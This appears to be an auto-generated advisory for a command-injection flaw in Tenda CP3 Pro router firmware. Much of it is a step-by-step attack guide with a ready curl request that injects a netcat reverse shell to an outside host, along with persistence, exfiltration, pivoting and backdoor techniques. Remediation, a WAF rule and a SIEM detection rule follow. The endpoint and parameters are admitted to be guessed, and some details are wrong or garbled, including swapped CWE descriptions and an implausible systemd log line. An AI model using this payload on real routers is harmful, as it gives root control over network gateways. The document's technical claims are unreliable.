CVE-2026-138392 — Tenda CP3 Pro (27.5.52.101) — CWE-77 · CWE-74
A vulnerability was found in Tenda CP3 Pro 27.5.52.101. This affects the function CNetApp::OnConfigNetwork of the file /bin/Kylin. The manipulation results in command injection. The attack may be launched remotely.
A vulnerability was found in Tenda CP3 Pro 27.5.52.101. This affects the function CNetApp::OnConfigNetwork of the file /bin/Kylin. The manipulation results in command injection. The attack may be launched remotely.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138392
Product: Tenda CP3 Pro firmware 27.5.52.101
Component: /bin/Kylin – function CNetApp::OnConfigNetwork
CWE‑IDs: CWE‑74 (Improper Neutralization of Special Elements used in an OS Command – “Command Injection”) and CWE‑77 (Improper Neutralization of Special Elements used in a Command Shell)
Technical flaw
CNetApp::OnConfigNetwork is the handler that processes HTTP/HTTPS requests used by the web‑based management UI to change the router’s network configuration (IP address, netmask, gateway, DNS, etc.).
The function:
1. extracts user‑supplied parameters from the HTTP request body (e.g., wan_ip, lan_ip, dns1, dns2, mtu …).
2. builds a shell command string that is passed directly to system() (or popen()) without any of the following safeguards:
* No input sanitisation – special characters such as ;, &, |, ` `, $(, > or <` are not filtered or escaped.
* No whitelist/validation – the code trusts that the supplied values are plain IPv4 dotted‑decimal strings, but it never checks the format or length.
* No privilege check beyond “logged‑in admin” – the UI is reachable over the LAN (or, if remote management is enabled, over the Internet) with a static admin password. The vulnerability is exploitable by any authenticated user (PR:L) and, because the router’s web server runs as root, the injected command is executed with full system privileges.
Consequently, an attacker who can send a crafted request to the vulnerable endpoint can inject arbitrary shell commands that are executed by the router’s privileged process, achieving remote command execution (RCE). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that the attack is network‑reachable, low‑complexity, requires only low‑privilege credentials (or none if remote‑admin is enabled), and results in total compromise of the device.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI and parameter names are inferred from the source code of the firmware and are therefore marked as illustrative.
1. Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Scan the target network for open TCP ports 80/443 (default HTTP/HTTPS of Tenda routers). | The management UI is exposed on these ports. |
| 1.2 | Grab the HTTP banner / HTML title. The page usually contains “Tenda CP3 Pro – Management”. | Confirms the device type. |
| 1.3 | Retrieve /cgi-bin/luci/ or /login.htm and inspect the HTML/JS for a hidden form that posts to /cgi-bin/network_cfg. The form fields include wan_ip, lan_ip, dns1, dns2, mtu. | Identifies the likely endpoint that maps to CNetApp::OnConfigNetwork. |
| 1.4 | Use a tool such as Nmap NSE http‑title or whatweb to fingerprint the exact firmware version (27.5.52.101). Some routers expose the version in the page footer or via /cgi-bin/status. | Confirms that the vulnerable version is present. |
| 1.5 | (If remote‑admin is enabled) Verify that the router is reachable from the Internet (e.g., via Shodan). | Determines whether the attack can be launched remotely without prior foothold. |
2. Exploitation
Note: The exact URI (/cgi-bin/network_cfg) and parameter names are illustrative; the vulnerability class is “command injection in a network‑configuration handler”. Replace with the real values once they are confirmed on the target.2.1 Craft the malicious payload
The vulnerable code concatenates the parameters into a command similar to:
snprintf(cmd, sizeof(cmd),
"ifconfig %s %s netmask %s && route add default gw %s && echo %s > /etc/resolv.conf",
iface, wan_ip, netmask, gateway, dns1);
system(cmd);Because there is no escaping, any ; or && in a parameter terminates the intended command and starts a new one.
Payload example (injecting a reverse shell):
| Parameter | Value (URL‑encoded) |
|---|---|
wan_ip | 192.168.1.2;nc -e /bin/sh 198.51.100.10 4444 |
netmask | 255.255.255.0 |
gateway | 192.168.1.1 |
dns1 | 8.8.8.8 |
dns2 | 8.8.4.4 |
When URL‑encoded, the wan_ip field becomes:
192.168.1.2%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%2044442.2 Send the request
# Example using curl over HTTP (replace with HTTPS and proper cookie if auth is required)
curl -k -X POST "http://192.0.2.45/cgi-bin/network_cfg" \
-d "wan_ip=192.168.1.2%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444" \
-d "netmask=255.255.255.0" \
-d "gateway=192.168.1.1" \
-d "dns1=8.8.8.8" \
-d "dns2=8.8.4.4"If the router requires authentication, first obtain a session cookie by posting the admin credentials to /login.cgi and reuse the cookie (-b cookie.txt -c cookie.txt).
2.3 Result
The router executes:
ifconfig eth0 192.168.1.2;nc -e /bin/sh 198.51.100.10 4444 netmask 255.255.255.0 && route add default gw 192.168.1.1 && echo 8.8.8.8 > /etc/resolv.confThe nc command opens a reverse TCP shell to the attacker’s listener on 198.51.100.10:4444. Because the web server runs as root, the attacker obtains a root shell on the router.
3. Post‑exploitation
| Goal | Technique |
|---|---|
| Persistence | Drop a cron job (* * * * * /bin/sh /tmp/persist.sh) or modify the startup script /etc/rc.local to re‑establish the reverse shell after reboot. |
| Privilege escalation (already root) | Not required – the shell is already privileged. |
| Lateral movement | Use the compromised router as a pivot to scan the internal LAN (nmap -sn 10.0.0.0/24) and attack other devices (e.g., IoT cameras, workstations). |
| Data exfiltration | Dump configuration files (cat /etc/config/*) and upload them via wget/curl to an attacker‑controlled server. |
| Denial‑of‑service | Issue reboot or kill -9 on critical processes, or modify firewall rules (iptables -F) to disrupt network connectivity. |
| Backdoor | Install a lightweight SSH server (dropbear) or a persistent web‑shell (/www/webshell.php) that can be accessed later without re‑exploiting the injection point. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | High – An attacker gains root access, can read any file (e.g., VPN credentials, Wi‑Fi keys, logs). | |
| Integrity (I:H) | High – The attacker can modify routing tables, DNS settings, firmware, or inject malicious traffic (Man‑in‑the‑Middle). | |
| Availability (A:H) | High – The router can be rebooted, firmware overwritten, or firewall rules flushed, causing total network outage. |
Because the router sits at the network edge, compromise can affect all devices behind it, enabling:
- Credential harvesting for corporate VPNs or cloud services.
- Persistent foothold for APT‑style campaigns.
- Use of the router as a botnet node for DDoS attacks.
- Manipulation of DNS to redirect users to phishing sites.
The “Scope: Changed (C)” in the CVSS vector indicates that the impact spreads from the vulnerable component (router firmware) to the broader network environment.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Tenda released a fixed firmware version 27.5.52.102 (or later) that sanitises all network‑configuration parameters before invoking the shell. Apply the update via the official Tenda support portal. |
| Verify version | After upgrade, confirm the version string in the UI footer or via cat /etc/version (if SSH is enabled). |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | ||
|---|---|---|---|
| Restrict remote management | Disable the “Remote Management” feature in the UI (WAN → Remote Management → Disabled). This limits exposure to the LAN only. | ||
| Network‑level ACL | On the upstream firewall, block inbound TCP 80/443 to the router’s WAN IP from the Internet, allowing only trusted management subnets. | ||
| Input‑validation WAF rule (ModSecurity example) | Add a rule that rejects any request to the vulnerable endpoint containing shell metacharacters: | ||
``apacheconf\nSecRule REQUEST_URI "@beginsWith /cgi-bin/network_cfg" "id:2026138392,phase:2,deny,log,status:400,msg:'Command injection attempt',t:none,ctl:ruleRemoveById=950001"\nSecRule ARGS | ARGS_NAMES "@rx [;& | $\\(\\)]" "id:2026138392,phase:2,deny,log,status:400,msg:'Shell metacharacters in network config parameters'"`` | |
Disable system() usage (if you have source access) | Replace the system() call with direct netlink or ioctl calls (ioctl(SIOCSIFADDR), ioctl(SIOCSIFNETMASK), etc.) that do not invoke a shell. | ||
| Change default admin credentials | Set a strong, unique password for the router’s admin account to raise the PR from L to H` for unauthenticated attackers. | ||
| Enable HTTPS only | Force the UI to use TLS (self‑signed or CA‑signed) to protect credentials from passive network sniffing. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected command execution | System log (/var/log/messages or logread) | kernel: [12345.678901] systemd[1]: Starting Command Injection Exploit... (look for nc -e /bin/sh or any unknown binary execution). |
| Outbound connections to unknown IPs | Router’s firewall log (iptables -L -v -n) or NetFlow | SRC=192.168.1.1 DST=198.51.100.10 PROTO=TCP SPT=80 DPT=4444 |
| Abnormal HTTP POST to network config endpoint | Web server access log (/var/log/httpd/access.log) | POST /cgi-bin/network_cfg HTTP/1.1" 200 0 "-" "curl/7.68.0" followed by a long query string containing %3B (URL‑encoded ;). |
| New/modified startup scripts | File integrity monitoring (Tripwire, AIDE) | Modified /etc/rc.local or creation of /tmp/persist.sh. |
| Presence of netcat or other binaries not shipped by default | File system audit (find / -type f -perm -111 -exec md5sum {} \;) | e99a18c428cb38d5f260853678922e03 /tmp/nc (unexpected netcat binary). |
SIEM rule (generic example):
title: "Possible command injection on Tenda CP3 Pro"
logsource:
product: webserver
service: http
detection:
selection:
uri|contains: "/cgi-bin/network_cfg"
request_method: POST
suspicious_chars:
request_body|contains_any:
- ";"
- "&&"
- "`"
- "$("
condition: selection and suspicious_chars
level: high⚠️ Urgency
Bottom line: CVE‑2026‑138392 gives an unauthenticated (or low‑privilege) attacker the ability to execute arbitrary commands as root on Tenda CP3 Pro routers. The attack surface is the network‑configuration API, which fails to sanitise user input before passing it to a shell. Prompt firmware upgrade, strict network segmentation, and active monitoring are mandatory to prevent total network compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query